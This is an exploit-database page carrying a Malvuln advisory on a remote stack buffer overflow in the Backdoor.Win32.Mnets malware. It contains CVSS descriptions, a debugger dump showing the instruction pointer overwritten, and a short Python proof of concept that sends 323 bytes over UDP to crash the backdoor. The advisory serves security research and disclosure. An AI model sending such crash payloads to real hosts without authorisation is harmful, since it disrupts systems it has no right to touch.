Exploitalert - Database of Exploits

Backdoor.Win32.Mnets / Remote Stack Buffer Overflow (UDP Proto)

CVE	Category	Price	Severity
N/A	CWE-119	N/A	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2021-01-17

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021010130

Backdoor.Win32.Mnets / Remote Stack Buffer Overflow (UDP Proto)

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/1e42493dcef54a62bc28e0a1338c1142.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.Mnets Vulnerability: Remote Stack Buffer Overflow - (UDP Datagram Proto) Description: The backdoor listens for commands on UDP ports 2222 and 4444. Sending a mere 323 bytes we can overwrite the instruction pointer (EIP), potentially giving us program execution flow over the remote Malware. Type: PE32 MD5: 1e42493dcef54a62bc28e0a1338c1142 Vuln ID: MVID-2021-0031 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 01/16/2021 Memory Dump: EAX : 00000000 EBX : 00000000 ECX : 41414141 EDX : 773E9D70 ntdll.773E9D70 EBP : 000A1488 ESP : 000A1468 ESI : 00000000 EDI : 00000000 EIP : 41414141 This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr. (1afc.f24): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1468 ebp=000a1488 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=4444 def doit(): #UDP Protocol s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) PACKEE = "A"*323 s.send(PACKEE) s.close() print("Backdoor.Win32.Mnets / Remote Stack Buffer Overflow"); print("MD5: 1e42493dcef54a62bc28e0a1338c1142"); print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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